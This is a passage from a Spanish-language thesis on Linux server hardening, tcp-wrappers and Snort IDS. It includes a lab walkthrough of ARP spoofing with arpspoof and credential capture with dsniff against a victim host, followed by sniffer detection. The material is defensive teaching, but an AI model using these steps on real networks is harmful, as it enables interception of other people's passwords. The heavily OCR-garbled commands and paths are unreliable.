Como se puede apreciar en la figura anterior, los comandos service network
restart y ifconfig funcionan perfectamente, ya que se ha iniciado la sesion con el
super-usuario. Este error se debe evitar utilizando los comandos de la siguiente

manera, para evitar accesos a la consola del sistema.

rick@tesisrick:~

Archive Editar Ver Terminal Solapas Ayuda

[rick@tesisrick ~]% su -

Contrasefia:

[root@tesisrick ~]# service network restart

Interrupcion de la interfaz eth8: [ OK 1]
Interrupcion de la interfaz de loopback: [ OK 1]
Activacion de la interfaz de loopback: [ OK 1
Activando interfaz eth@:

Determinando la informacion IP para eth®... hecho.

[root@tesisrick ~]# exit —
logout

(T

[rick@tesisrick ~1%

Figura 6.15: Ejecucion de comandos de inicio de servicios sin alterar la seguridad del sistema.
Fuente: Autor de tesis.
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VERIFICACION DE COMANDOS PARA SERVIDORES EN PRODUCCION.

Una recomendacion muy importante en la configuracion y administracion de
servidores es verificar 2 y 3 veces el conjunto de scripts que se ejecutaran en un
determinado servidor puesto en produccion.

Al realizar modificaciones directamente sobre un servidor en produccion resulta
una forma mas practica arreglar un determinado problema, pero al mismo tiempo

es algo riesgoso si los resultados no son los esperados.

root@tesisrick:~

Archivo Editar Ver Terminal 5Solapas Ayuda

[root@tesisrick ~]# yum upgrade
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* rpmforge: apt.sw.be
* base: mirrors.greenmountainaccess.net
* updates: mirror.trouble-free.net
* addons: mirror.nwresd.org
* extras: mirrors.xmission.com

adobe-1linux-i386 | 951 B 00:008
rpmforge | 1.1 kB 90:00
primary.xml.gz 33% [=- ] B2 KBfs | 784 KB 00:24 ETA [

Figura 6.16: Ejecucién del comando “upgrade” para la actualizacion del servidor en produccién.
Fuente: Autor de tesis.

Realizar una actualizacion al servidor web que aloje una aplicacién importante
para una empresa o institucién sin haber programado un procedimiento de
reversa, podria causar un desastre y en ocasiones la baja de todo el servicio.

La siguiente figura es un ejemplo de una actualizacion comun de servidor, que

guardard los nuevos repositorios y modificara algunas configuraciones.

= root@tesisrick:~

Archivo Editar Ver Terminal Solapas Ayuda
[rick@tesisrick ~]% su -
Contrasefia:

[root@tesisrick ~1# yum -y update
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* rpmforge: apt.sw.be

* base: mirrors.greenmountainaccess.net
* updates: mirror.linux.duke.edu

* addons: mirror.rackspace.com

* extras: centos.mirror.netriplex.com
Setting up Update Process

Figura 6.17: Error comun al tratar de actualizar directamente sobre el servidor en produccién con el
comando yum update.
Fuente: Autor de tesis.
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Al ejecutar el comando # yum -y update se iniciara el proceso de actualizacion y
podria ocurrir que luego de reiniciar el servidor web no trabaje correctamente, y
no desempefie las mismas funciones que antes realizaba.
Como conclusion, si no se posee un servidor de pruebas y se requiera ejecutar
directamente nuevos scripts en el equipo de produccion, se deben realizar como
minimo 2 procedimientos:
# Procedimiento programado de ejecucion.- donde estén los nuevos scripts
comprobados y con controles de verificacion de errores.
# Procedimiento de marcha atras.- este procedimiento consiste en tener un
plan de reversa, donde los archivos y configuraciones que seran
modificados podran ser restaurados en el momento que no se consiga el

resultado esperado.

6.2.2. TECNICAS PARA AUMENTAR LA SEGURIDAD.

La responsabilidad de todo administrador de sistemas es asegurar que los
sistemas sean seguros y no sean un potencial objetivo de los atacantes de red.
Activar servicios indispensables y mantener abiertos Unicamente los puertos
necesarios, es una gran solucion, para que los servidores trabajen establemente y
no sean una victima mas de los intrusos de la red.

Si se resume un poco, en este punto se mostrara un amplio espectro de
aplicaciones y técnicas de seguridad de los sistemas que ayudan a minimizar o

eliminar intrusiones.

6.2.2.1 DESACTIVAR SERVICIOS INCESARIOS.

Muchos de los servicios de red pueden estar activados por defecto, pero son tan
innecesarios como inseguros. Un buen administrador deberia analizar cuéles son

los servicios que necesita una determinada aplicacion.

Los 3 lugares estandar desde los cuales los servicios de sistema pueden iniciarse

son los siguientes:

# # /etc/inittab
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= rick@tesisrick:~ — o=
Archivo Editar Ver Terminal Soclapas Ayuda

[rick@tesisrick ~]% wvim /Jetc/init

init.d/ initleg.conf inittab
[rick@tesisrick ~]% vim /etc/init
init.d/ initloeg.cont inittab

[rick@tesisrick ~]% vim fetcfinittabl

rick@tesisrick:/etc (=[]

Archivo Editar Ver Terminal Solapas Ayuda

E inittab This Tile describes how the INIT process should set up

# the system in a certain run-level.

#

# Author: Miquel wvan Smoorenburg, =miquels@drinkel.nl.mugnet.org=

# Modified for RHS Linux by Marc Ewing and Donnie Barnes
2,1 2%

Figura 6.18: Configuracion del fichero etc/initab para verificar los servicios activos.
Fuente: Autor de tesis.

# Los scripts en los directorios /etc/rc.d/rc*.d

' rick@tesisrick:~ =]

Archivo Editar Mer Terminal Soclapas Ayuda

[rick@tesisrick ~]% cd Jetc/rc.d/rc

rc rcl.d/ rc3.d/ rcs.d/ rc.local
rc@.d/ rc2.d/ rcd.d/f rcé.d/ rc.sysinit
[rick@tesisrick ~]% cd /etc!rc.d/rcD

[Tr]

rick@tesisrick:/etc/rc.d/rcl.d
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[rick@tesisrick rcl.d]s 1s

KB8ldnsmasqg K35vncserver K87portmap

KBlsmartd K35winbind K87restorecond [l
K@2avahi-daemon K36lisa K88auditd

KB2avahi-dnsconfd K36mysqld K88pcscd ?

Figura 6.19: Configuracion de ficheros etc/rd.d/rc.* para verificar los servicios activos.
Fuente: Autor de tesis.

# A través del demonio de internet inetd 6 xinetd

rick@tesisrick:~
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[rick@tesisrick ~]% cd /etc/init.d/h
haldaemon hidd hsqldb

halt hplip httpd
[rick@tesisrick ~]% cd ,’etc!init.d!httpdl

Figura 6.20: Configuracion de servicios sobre los demonios inetd o xinetd.
Fuente: Autor de tesis.

Paso 1: EXAMINAR /etc/inittab

El fichero /etc/inittab arranca la secuencia estandar de script de inicio, como se
puede apreciar en la siguiente figura, donde se ejecutan los comandos que

arrancan la secuencia de inicializacion para cada nivel.
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rick@tesisrick:~
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# System initialization. =
si::sysinit:/etc/rc.d/rc.sysinit
18:0:wait:/ ce
1l:1l:wait:/ c 1l
12:2:wait:/ c 2
13:3wait:/ c 3
14:4:wait: c 4
15:5:wait:/ c 5
16:6:wait:/ c 6
20,1 44% [~

Figura 6.21: Comandos que utiliza initab para arrancar la secuencia de iniciacion para cada nivel.
Fuente: Autor de tesis.

Paso 2: Optimizar los scripts de inicio por nivel de ejecucion

Los directorios rc*.d que se mostraron anteriormente, corresponden a los niveles
de ejecucion segun el nimero que posean.

El directorio para cada nivel de ejecucion contiene enlaces simbdlicos a los script
reales que inician y finalizan diversos servicios, los cuales residen en

/ect/rc.d/init.d, como se visualiza en la siguiente figura.

=3 rick@tesisrick:/etc/rc.d/init.d ==

Archivo Editar Ver JTerminal Solapas Ayuda

[rick@tesisrick init.d]s 1s Z
acpid firstboot kudzu nTslock single

anacron functions lisa nscd smartd

apmd gpm 1m_sensors ntpd smb

atd haldaemon lvm2-monitor oddjobd sshd

auditd halt mcstrans pand syslog

autofs hidd mdmonitor pcscd vmware-tools
avahi-daemon hplip mdmpd portmap vncserver
avahi-dnsconfd hsgldb messagebus psacct wdaemon

bluetooth httpd microcode ctl rdisc winbind

capi ibmasm multipathd readahead_early wpa_supplicant
conman ip6tables mysqld readahead_later xfs

cpuspeed iptables netconsole restorecond ypbind

crond irda netfs rpcgssd yum-updatesd

cups irgbalance netplugd rpcidmapd

cups-config-daemon isdn network rpcsvegssd

dnsmasq killall NetworkManager saslauthd ™
dund krb524 nts sendmail

[rick@tesisrick init.d]s I =]

Figura 6.22: Ficheros de /etc/rc.d/init.d donde constan los servicios del sistema.
Fuente: Autor de tesis.
Los enlaces que comienzan por “S” se iniciaran cuando se entre en ese nivel de
ejecucion, mientras que los enlaces que comienzan por “K” seran finalizados

cuando se abandone el nivel.

La forma rapida para desactivar un servicio es eliminar el script “S” asociado, pero
una buena solucion es crear un directorio DESABILITADO en cada directorio de
nivel de ejecucion y mover ahi los enlaces simbolicos que inician o finalizan

servicios y que no se desea que se ejecuten en este directorio.
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Paso 3: Hacer los servicios mas eficientes ejecutados desde “inetd”.

Uno de los script del directorio antes mencionado, inicia el demonio inetd en
distribuciones Linux antiguas y xinetd en distribuciones mas recientes. Para
desactivar algunos servicios con inetd se debe configurar el archivo
/etc/inetd.conf, comentando los no deseados. De la misma manera con el archivo
/etc/xinetd.conf, para desactivar un servicio especifico, se debe dar el valor de

“yes” a la entra “disable” y reiniciar las entradas para estos demonios.

6.2.2.2 PERMITIR O DENEGAR SERVICIOS POR IP

Esta solucién es muy practica al momento de bloquear sistemas maliciosos que
puedan perjudicar un servidor que aloje informacion confidencial. Tener un
procedimiento que permita habilitar y deshabilitar el acceso a ciertas personas
desde sus PCs hace un sistema estable y seguro.

Una alternativa seria configurar iptables o ipchains para implementar restricciones
de acceso, pero la idea es tener otro método mucho mas facil y practico, con la

ayuda de la configuracibn apropiada de los ficheros /etc/hosts.allow vy

/etc/hosts.deny.

# CONFIGURACION DE LOS FICHEROS hosts.allow y hosts.deny
Todo el trafico de paquetes entrantes TCP que un servidor Linux procesa, son
fitrados por medios de las reglas en hosts.allow, y luego si no existen
coincidencias, con las reglas hosts.deny.
En la forma mas simple, las lineas de cada fichero tiene el siguiente formato:
nombre-demonio: nombre-equipo o direccion-ip
Ejemplo:
sshd:  192.168.0.143, 192.168.5.25

Para entender el ejemplo si esta linea es insertada en hosts.allow, el trafico SSH
del equipo estaria permitido para las direcciones I[P 192.168.0.143 vy
192.168.5.25. De igual manera si se incluye la linea anterior expuesta en el

fichero host.deny, ninguna de las 2 direcciones IP podran acceder desde SSH.
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El demonio TCP de Linux proporciona un excelente lenguaje y sintaxis para
configurar restricciones de control de acceso en los ficheros hosts.allow y

hosts.deny.

Ejemplo:
#hosts.allow

sshd: .foo.bar

En el ejemplo anterior se puede apreciar el punto ( . ) precedente. Esto permite

aceptar cualquier cosa que contenga “.foo.bar” en su nombre de sistema.

# CONFIGURACION DE hosts.allow - hosts.deny EN SU UTILIZACION.

Para poder configurar correctamente estos ficheros, si se piensa en el
funcionamiento de un servidor en produccibn se deben tomar ciertas

recomendaciones.

Lo que se va a realizar es configurar el servidor en el fichero hosts.allow que
permita conexiones web HTTP desde cualquier parte y restrinja el trafico por SSH
a determinadas IPs con privilegios para modificar ciertos parametros. Ademas,
como parte de una buena configuracion de seguridad, se denegara el acceso por
TELNET ya que la informacién que podria generarse en este protocolo no esta

encriptada.
Ejemplo:

Se edita hosts.allow como se muestra en la siguiente tabla:

hosts.allow hosts.deny
sshd: LOCAL, 192.168.0.143, 192.168.5.25
httpd: ALL

telnet: ALL

Tabla 6.1: Tabla resumen de la configuracion para el fichero host.allow y host.deny.
Fuente: Autor de tesis.
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6.2.3. SISTEMA DE DETECCION DE INTRUSOS — SNORT.

Los sistemas de deteccion de intrusos son indispensables que existan en toda red
con un nivel de seguridad alto y que trabaje con sistemas complejos y de alta
concurrencia de usuarios y clientes.

Estos sistemas buscan patrones previamente definidos que impliquen cualquier
tipo de accion maliciosa o sospechosa sobre la red de datos.

Los IDS aportan a la seguridad con una capacidad de prevencion y de alerta
anticipada ante cualquier ataque, aunque no estan disefiados para detenerlos si
pueden generar acciones de respuesta a estos. Ademas los IDS aumentan la
seguridad de los sistemas, monitorean el trafico de la red, examinan los paquetes

y detectan las primeras fases de los ataques comunes a las redes de datos.
6.2.3.1 HERRAMIENTA SNORT

Esta es una herramienta de seguridad para detectar y monitorizar los eventos
ocurridos en un determinado sistema o red de datos que afecten a la seguridad de

los mismos.

Snort es un sistema de deteccion de intrusiones basado en red, implementa un
motor de deteccion de ataques y barrido de puertos sobre los cuales se generan
registros y alertas para responder a posibles vulnerabilidades o intentos de

ataques a la red.
CARACTERISTICAS:

# Es una herramienta bajo licencia GLP, gratuito.

# Multiplataforma Windows y UNIX/Linux

# Posee gran cantidad de filtros y patrones predefinidos.
# Implementa un lenguaje de creacion de reglas flexibles.

# Multifuncion (sniffer y IDS a la vez).
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Ejemplo:

Este ejemplo se enfoca a un sistema IDS, que probara las principales
funcionalidades como el monitoreo de las peticiones de red entrantes a un
determinado sistema, la generacion de alertas frente a cualquier actividad que

parezca falsa, y generacion de logs como resultados.

# INSTALACION Y CONFIGURACION DE SNORT

El primer paso es instalar la herramienta Winpcap, que sirve como libreria de bajo
nivel que utilizard Snort. Se procede también a instalar Snort como se muestra en

la siguiente figura.

® WinPcap 4.1.2 Setup =] 255 |  snort 2.9.0.1 Setup EEX)
\() 2 Installing 5
N ch Please wait whie WinPcap 4.1.2 is being installed. (%)
Create folder: C and Settings\al Usersens I 2 Completed
(ANRRRANANANRANANANRRRRRARANRRRANRNANRARRNATR ) (VANANARANARARNRRRRNARARARE ]

Figura 6.23: Proceso de instalacion de la herramienta WinCap sobre Windows.
Fuente: Autor de tesis.

Luego de terminada la instalacién, se procedera a configurar la herramienta, para
lo cual se accedera a la capeta C:\Snort\etc, en este directorio se encuentra un
fichero llamado snort.conf que sera el archivo de configuracion en el cual se
realizara las modificaciones.

[ (=1[E)

Archiva  Edicidn  Yer  Fawvoritos  Herramientas  Ayuda :,'
a5 o ) ) B o

@ Akras _) l_ﬁ 7 Busqueda e Carpetas

Direccian |@ CriSnortiek: v| Ir

Classification.config
archivo COMFIG
4 KB

3 reference,config oy 3
E Archivo CONFIG =
B 1KE ]
3 threshold.conf e Unicode.map
Birchiva CONF . Archiva MAP
. 3KE @ S3KE

Figura 6.24: Busqueda y seleccion del archivo de configuracion de la herramienta Snort.

gen-msg.map
Archivo MAR
25 KB

Tareas de archivo y carpeta &

Iim Cambiar nombre a este
archiva

.'.5 Mover este archivo

[) Copiar este archivo
@ Publicar este archivo en Web

() Enviar este archiva por correo
electrdnico

¥ Eliminar este archivo

Fuente: Autor de tesis.
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Luego se debera ingresar al archivo para iniciar la configuracién de la
herramienta, en la cual se ingresara la informacion de la red o hosts a protegerse

como se muestra en la siguiente figura.
H snort - WordPad E][El_l

archivo Edicién Ver Insertar Formato Ayuda
D Sk #M B B

# 6) Configure output plugins
# 7) Customize your rule set

# Step #1: Set the netvork varishles. For more information, see README.wvariables

# Setup the network addresses you are protecting
#rar HOME NET any

var HOME NET 192.168.1.0/24 # UNL RED

wvar HOME NET 192.168.1.2/32 # UN HOST ESPECIFICO

wvar HOME NET 1892.168.1.3/32,192.168.1.4/32 # VARIOS HOSTS|

# Set up the external network addresses. Leave as "any" in most situations
var EXTERNAL NET any

v

e e iy o o

Ay NOM

O TaTE
Figura 6.25: Configuracion de la direccion de red o host para comprobar el funcionamiento de Snort.
Fuente: Autor de tesis.

Ademas se deberd descargar las reglas de la pagina oficial de  Snort

(http://www.snort.org), para luego copiarlas en el directorio “C:\Snort\rules\”

Archivo  Edicidn  Wer Favoritos  Herramientas  Ayuda

Q Atrds ~ >} ? /..7\‘ Blsqueda Carpetas E-

Direccion |23 CriSnortirules b ' 7
~ @ attack-responses rules cgi-bin list @ dns.rules
Tareas de archivo y carpeta & @ backdoor rules chat.rules @ dos.rules
@ bad-traffic, rules content-replace.rules @ experimental.rulss
(2 Crear nueva carpeta =) blacklist rules ddos. rules e
) Publicar ssta carpeta en Web & botret-crc.rules deleted.rules = finger rules
{5 Compartir esta carpeta
v < 3
50 ohjetas 9,57 MB 4 MiPC

Figura 6.26: Directorio C:\Snort\rules\ luego de copiar reglas descargadas de la pagina oficial de Snort.
Fuente: Autor de tesis.

Para finalizar el proceso quedaria realizar 2 cambios en las siguientes lineas las

cuales se visualizan en la siguiente figura.

H snort - WordPad

Archivo Edician Mer Insertar Formato  Ayuda

Dzl 2R & B B

# Step #4: Configure dynawmic loaded libraries.
# For more information, see Snort Manual, Configuring Snort - Dynamic Mod

# path to dynamic preprocessor libraries
#dynamicpreprocessor directory /usr/local/lib/snort dynamicpreprocessor/
dynamicpreprocessor directory c:isnort) libisnort_dynsmicpreprocessor

# path to basSe preprocessor engine

#dynamicengine /usr/local/likb/snort_dynamicengine/libsf engine.so

dynamicengine e:ilysnort) libhsnort_dynawmicengine’ sf_engine.dll 3
< ¥
UM

Para obtener Ayuda, presione F1

Figura 6.27: Configuracion de las librerias (.dll) que se encuentran en el directorio de Windows lib\.
Fuente: Autor de tesis.
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Con estos cambios realizados se puede ejecutar la herramienta desde la consola,

tal como lo muestra la siguiente figura.

e+ CAWINDOWS\system3 2\cmd. exe

UDP Sessions Create
UDP Sessions Delete

Internal Event
TGP Port Filter
Dropped:
Inspected:
Tracked:
UDP Port Filter
Dro

IC:\8nortsbin>snort —dev —c C:“Bnortetcisnort.conf -1 C:“\Snortxlog —i2

Figura 6.28: Ejecucion del comando para iniciar la herramienta Snort, generando un reporte.
Fuente: Autor de tesis.
En este ejemplo se esta definiendo el archivo de configuracién snort.conf y
ademas con el comando “-I " se indica el directorio para guardar las alertas y logs

que serviran para que el administrador de seguridad observe y verifique
problemas en la red.

cridn [[C3) Chsnortilog b @ i

snort log, 1289954833
323 | Archiva 1269954533
1KB

Tareas de archivo y carpeta &

mf] Cambiar nomtis a este
archivo

F typ len:=Bx5C|
92.168.1.2:137 —> 192.168.1.255:137 UDP TTL:128 TOS:8xB ID:4136 IpLen:20 DgmLen
=78
Len: 56
81 45 @1 10 BH B1 AP BB U0 B0 BA BA 28 45 4B 45 .E

5@ 45 40 45 4F 45 40 45 44 43 41 43 41 43 41 43 PEJEOEJEDCACAGAG
41 43 41 43 41 43 41 43 41 43 41 41 41 66 86 2@ ACACACACACAARN. .
0 A1 i

92.168.1.3 —> 239.255.255.258 PROT0:882 TTL:1 T0S:Bx@ 1D:2926 IpLen:24 DgmLen:3

2
IP Options <1» => RIRALT
16 B8 Fa 84 EF FF FF Fa

Figura 6.29: Detalle del resultado de alertas obtenido luego de la ejecucion de Snort.
Fuente: Autor de tesis.
Como se pudo observar en la figura anterior, la herramienta Snort se ejecut6
desde la consola, y también creé 2 archivos en el directorio C:\Snort\log, en los
cuales se guarda toda la informacion generada por Snort. Como conclusion se
puede decir que esta herramienta permite detectar intrusos alertando de posibles
ataques de un determinado equipo. La buena utilizacién de este IDS posibilita a

un administrador manejar servidores seguros y confiables.
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6.3. SOLUCION 3: PLAN DE SEGURIDAD PARA REDES Y
GESTION DE LA INFORMACION.

La solucion N° 3, se propone implementarla en el Ministerio de Desarrollo Urbano
y Vivienda para brindar una serie de procedimientos y practicas a seguir que
controlen y gestionen de mejor manera, la red de datos, servidores e informacién

importante de la institucion.

El recurso critico que debe poseer controles de seguridad bastante fuertes y
herméticos es la informacion de beneficiarios de bonos de vivienda, ya que si
algun intruso logra acceder a los servidores que alojan a la misma, causarian un
grave dafio si no se tienen estrategias claras y efectivas para evitar este tipo de

ataques.

Es por esto que se presenta una serie de ejercicios practicos que pueden ser
tomados en cuenta al momento de evitar algun ataque o fallo de red que pueda

perjudicar a las bases de datos que alojan informacién confidencial.

6.3.1. FUNCIONAMIENTO Y DEFENSA CONTRA SNIFFERS.

Los Sniffers se pueden definir como aplicaciones o programas de monitorizacion
oculta que tienen la funcién de recoger la mayor cantidad de informacién del

tréfico de una red. Se los conoce como analizadores de protocolos.

6.3.1.1. COMO ACTUAN LOS SNIFFERS

Las estaciones de trabajo escuchan y responden solamente a los paquetes que
van dirigidos a ellas. Sin embargo, es posible modelar el software que lanza la
interfaz de red de una estacién de trabajo en algo llamado modo promiscuo.

Con este andlisis, la estacion de trabajo puede monitorizar y capturar todo el
trafico de red y los paquetes que pasen por ella, independientemente del destino

que tengan.
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Ejemplo de cabeceras de Sniffers.

#include <linux/if.h >
#include <Linux/i_ether.h >
#include <Linux/ip.h >
#include <Linux/socket.h >
#include <Linux/tcp.h >
#include <Linux/stdio.h >

La mayoria de los sniffers se han disefiado con estos archivos de cabecera. Cada
uno de ellos gestiona un aspecto distinto de la escucha, grabacién y generacion

de informes sobre el trafico de TCP / IP.

Lo que hacen los intrusos y piratas de red es poner la interfaz en modo promiscuo
utilizando una marca de “ if.h “. Una vez que la interfaz se encuentra en este
modo, escucha todos los paquetes de la red, y lo que faltaria es escuchar el
trafico TCP /IP y generar un formato que pueda leerse en la salida estandar o

escribirlo en un archivo.
EJEMPLO:

Existen muchos sniffers que realizan tareas diferentes, desde capturar nombres

de usuarios y contrasefias hasta grabar todo el trafico de la interfaz de red.
# Dsnif

Es una aplicacion sencilla y directa. El proposito principal es capturar nombres de

usuarios y contrasefias, y esta es una funcion en la que sobresale.

root@tesisrick:~ BT root@tesisrick:~

Archivo Editar Ver Terminal Solapas Ayuda Archivo Editar Ver TJerminal Solapas Ayuda

[root@tesisrick ~]# yum install dsniff i~ Installing : dsniff Bupans ,T
Loaded plugins: fastestmirror Installing 1 odsniff BEBHBER
Loading mirror speeds from cached hostfile | Installing : dsniff BREERERE

* rpmforge: fr2.rpmfind.net Installing : dsniff BRBBBIBEY

* base: mirror,team-cymru.org Installing :odsniffr BERUBERBER

* updates: www.gtlib.gatech.edu Installing i dsniff BEERBERBERE

* addons: centos.omnispring.com Installing i dsniff BuBBBBUBUBREY

* extras: mirrors.versaweb.com Installing : o dsniff BRBBBERBRBERBE
adobe-1inux-1386 | 9518 00:00 Installing : dsniff BEBRBERBRBBGBES
rpmforge | 1.1 kB 00:00 Installing : dsniff BHERBURBUBBUBRY
base | 2.1 kB 00:00 Installing i odsniff BEBERERBRBEEHEE
updates | 1.9 kB 00:00 Installing i dsniff BRERBERERBRRERE
primary.sqlite.bz2 | 835 kB 00:19 Installing 1 dsniff
addons | 9518 00:00 [1/1)
extras | 2.1 kB 00:00
Setting up Install Process Installed: dsniff.1386 0:2.4-0.1.bl.el5.rf
Parsing package install arguments Complete!

| [root@tesisrick ~)#

Figura 6.30: Descarga e instalacion del paquete dsniff en Linux.
Fuente: Autor de tesis.



126

Para probar la herramienta se configurara un router con la direccién 192.168.1.1,
la victima 192.168.1.4 y el atacante 192.168.1.6. Luego de esto se procede a
ejecutar el primer comando necesario para que el trafico pueda pasar por el
computador atacante, como se muestra en la siguiente figura el ip_forward es el
que permite que los paquetes lleguen a su destino sin importar quien esta en

medio de la conexion.

root@tesisrick:~

Archive Editar Ver Terminal Solapas Ayuda

[root@tesisrick ~1# echo 1 > /proc/sys/net/ipv4/ip_forward =
[root@tesisrick ~]# ar

ar arecordmidi arping artscontrol artsplay

arae ark arpspoof artsd artsrec

arch arp artsbuilder artsdsp artsshell

arecord arpd artscat artsmessage artswrapper

Figura 6.31: Utilizacion de ip_forward para permitir el trafico por el computador atacante.
Fuente: Autor de tesis.

La siguiente figura muestra la utilizacion de “arpspoof”, lo que permitira realizar un

envenenamiento al cache ARP para hacerse pasar como un destinatario real.

= root@tesisrick:~ [BENE
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0:c:29:70:3:50 =
0:c:29:f0:3:50 0:21:63:df:bd:e2 0886 42: arp reply 192.168.1.4 is-at
0:c:29:f0:3:50
0:c:29:f0:3:50 0:21:63:df:bd:e2 0886 42: arp reply 192.168.1.4 is-at
0:c:29:f0:3:50
B:c:29:f0:3:50 0:21:63:df:bd:e2 0886 42: arp reply 192.168.1.4 is-at
0:c:29:f0:3:50
B:c:29:f0:3:50 0:21:63:df:bd:e2 0886 42: arp reply 192.168.1.4 is-at
0:c:29:7T0:3:50
0:c:29:70:3:50 0:21:63:dT:bd:e2 0886 42: arp reply 192.168.1.4 is-at [—
0:c:29:7T0:3:50

root@tesisrick:~

Archivo Editar Ver Terminal Solapas Ayuda

[root@tesisrick ~]# arpspoof -i eth® -t 192.168.1.4 192.168.1.1 =
0:c:29:f0:3:50 0:16:44:c6:65:d BBO6 42: arp reply 192.168.1.1 is-at @
€:29:10:3:50 |
0:c:29:f0:3:50 P:16:44:c6:65:d BBO6 42: arp reply 192.168.1.1 is-at @
€:29:710:3:50

0:c:29:70:3:50 0:16:44:c6:65:d BBO6 42: arp reply 192.168.1.1 is-at @
€:29:70:3:50 —
0:c:29:7T0:3:50 0:16:44:c6:65:d DBO6 42: arp reply 192.168.1.1 is-at @
€:29:70:3:50

©:C:29:70:3:50 0:16:44:¢6:65:d D806 42: arp reply 192.168.1.1 is-at @
€:29:70:3:50

©:c:29:70:3:50 0:16:44:c6:65:d 0806 42: arp reply 192.168.1.1 is-at B
€:29:710:3:50

0:c:29:70:3:50 0:16:44:c6:65:d 0806 42: arp reply 192.168.1.1 is-at B

Figura 6.32: Ingreso del comando arpspoof para realizar la modificacion al cache ARP.
Fuente: Autor de tesis.

Por ultimo queda ejecutar dsniff a la interfaz ethO, que sera en la cual se
interceptaran los paquetes, de esta forma se puede capturar datos de usuarios y
contrasefias que la victima este enviando desde una pagina web de correos o

login normal.
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root@tesisrick:~

Archivo Editar Ver Terminal 5Soclapas Ayuda

[rick@tesisrick ~]% su - E=
Contrasena:

[root@tesisrick ~]# dsnifT -1 eth@

dsniff: listening on eth@®

Figura 6.33: Ingreso del comando “dsniff —i eth0” a la interfaz Ethernet logrando el ataque deseado.
Fuente: Autor de tesis.

6.3.1.2. COMO DEFENDERSE DE LOS SNIFFERS.

Los ataques de sniffers son dificiles de detectar y combatir, ya que son programas
pasivos que no generan rastros, y cuando se configuran correctamente, no

utilizan muchos recursos de discos y de memora.

La solucién al problema es ir directo al origen, es decir, a la interfaz de red por la
cual se estan enviando los datos y paquetes. Lo que se debe verificar es que si
esa interfaz se encuentra en modo promiscuo, para lo cual se puede utilizar las

siguientes herramientas:

# Ifconfig
# Ifstatus

Ifconfig

Con ifconfig es posible detectar de forma rapida cualquier interfaz del host local
gue se encuentre en modo promiscuo. Al ejecutar ifconfig en la consola, la
herramienta informara el estado de todas las interfaces, y para detectar que se
encuentra en estado promiscuo se debe identificar las siguientes lineas, como se

muestra en la figura.

ethi Link encap:Ethernet direccidnHll 00:0c:29:hi: fd:ce
Direc. inet:19Z.168.236.132 Difus.:192.168.236.255 Masc:zZ55.255.255.0
Direccidn inetd: f£ed0::ZzZ0c:Z9ff:febd:fdeoes64 Alcance:Enlace
ACTIVO DIFUSION FUNCIONANDO PROMISCIO MULTICAST MTU:1500 Mérrica:l
Paquetes RFX:69 errores:0 perdidos:0 owverruns:0 frame:0
Pamquetes TX:133 errores:0 perdides:0 owerruns:(0 carrier:0
coliziones:0 long.colaTx:1000
Bytes Rx:25909 (25.9 KB) T bytes:17681 (17.6 KE)

Figura 6.34: Detalle del uso del comando ifconfig al detecta una interfaz eth0 en modo promiscuo.
Fuente: http://www.linuxcostarica.org/component/content/article/44-10-ejemplos-practicos/71-10-
ejemplos-practicos-de-ifconfig.html.
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Ifstatus

Esta herramienta comprueba todas las interfaces de red del sistema e informa si

alguna se encuentra en modo de depuracion o promiscuo.

Ifstatus detecta sniffers en el host local. Luego de descargarse se recomienda
configurarlo como se muestra en la siguiente figura para que cumpla con las

funciones de deteccion de sniffers.

OSNAME= SUNOS55

LIBS= -1kvm -lelf -1nsl -lsocket
por éstas:

OSNAME= BSD

#LIBS= -lkvm -lelf -1lnsl -lsocket

Figura 6.35: Configuracion de OSNAME y LIBS para el funcionamiento de ifstatus.
Fuente: http://www.sfr-fresh.com/unix/misc/old/ifstatus2.2.tar.gz:a/ifstatus/RCS/Makefile,v.
La figura anterior muestra las lineas que se deben editar en el archivo Makefile de

configuracion de ifstatus.

De la misma manera se procede a detectar el sniffer con ésta nueva herramienta
y muestra si la interfaz de red esta en modo promiscuo y con esto el administrador
puede tomar una decision para evitar que mas sniffers puedan seguir atacando a

los equipos de la red.

6.3.2. FUNCIONAMIENTO Y DEFENSA CONTRA SCANNERS.

Los Scanners son herramientas de seguridad que detectan los puntos vulnerables
de un determinado sistema, podria decirse que un scanner rudimentario es un
script en el cual se escribe comandos para rastrear passwords escritos en un
login de correo electronico en busca de espacios vacios, que son posibles puntos

débiles en la seguridad.
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root@dhcppc3:~/Desktop
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#! /Jusr/bin/perl =
scount==0;

open (MAI

"|/usr/lib/sendmail rick") || die "No se puede abrir el mailun";
"To: Administradorin";
"Subject: Reporte Password\n";
"Reply-To: Escanec Passwordin";
, "cat Jetc/passwd|");

@fields=split(/:/,% );

it (sfields[1] eqg ""}{
Scount4+;
print MAIL "\n****CUIDADO****\n";
print MAIL "La linea S$linenumber posee un password en blanco.\.n";
print MAIL "Este es el registro: SfTields\n";
}
}
close (PASSWORDS);
if (scount < 1}{
print MAIL "No se encontraron password vacios.";
}
print MAIL "./n";

close(MAIL);

10,1-8 Todo [-]

Figura 6.36: Script basico que actiia como scanner y a la vez como defensa a los sniffers.
Fuente: Autor de tesis.

Los scanners de acuerdo a su funcionalidad se dividen en:

e Scanner de sistema
Son aquellos que rastrean host locales en busca de los puntos vulnerables
comunes y no comunes de la seguridad que aparecen a causa de descuidos,
poco interés, falta de conocimiento, y los problemas de configuracion que a veces
se pasan por alto, aqui se mencionan algunos ejemplos:

# Permisos erréneos de archivos

# Cuentas predeterminadas

# Entradas de UID erréneas o duplicadas.

Scanner de red
Por el contrario, los scanners de red verifican y prueban host sobre conexiones de
red, de forma similar a como lo haria un atacante o intruso. Examinan los
servicios y puertos disponibles en busca de debilidades y vulnerabilidades a

equipos remotos, y se los crea para realizar las siguientes acciones:

# Rastrear sesiones telnet de equipos.



130

# Adivinar el nombre de dominio NIS.
# Explorar puntos vulnerables de protocolos.

# Comprobar si existen login anénimos para el ingreso sin autorizacion

6.3.2.1. COMO ACTUAN LOS SCANNERS

El proceso légico que utilizan tanto los scanner l6gico como de red es:
# Cargan un conjunto de reglas de ataques.
# Prueban el objetivo con varios parametros.
# Registran y emiten reportes con los resultados obtenidos.

Ejemplo:

La variedad de scanners que existen hace que los administradores puedan
escoger de una amplia gama de herramientas los que mejor se apeguen a las
necesidades particulares.

Para este ejemplo se instalard una aplicacion llamada SANE(Scanner Access
Now Easy), que brinda caracteristicas de escaneo muy practicas vy
funcionalidades que pueden ser aplicadas en cualquier red.

# INSTALACION DEL SERVIDOR SANE

root@tesisrick:~
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[rick@tesisrick ~]% su -

Contrasena:

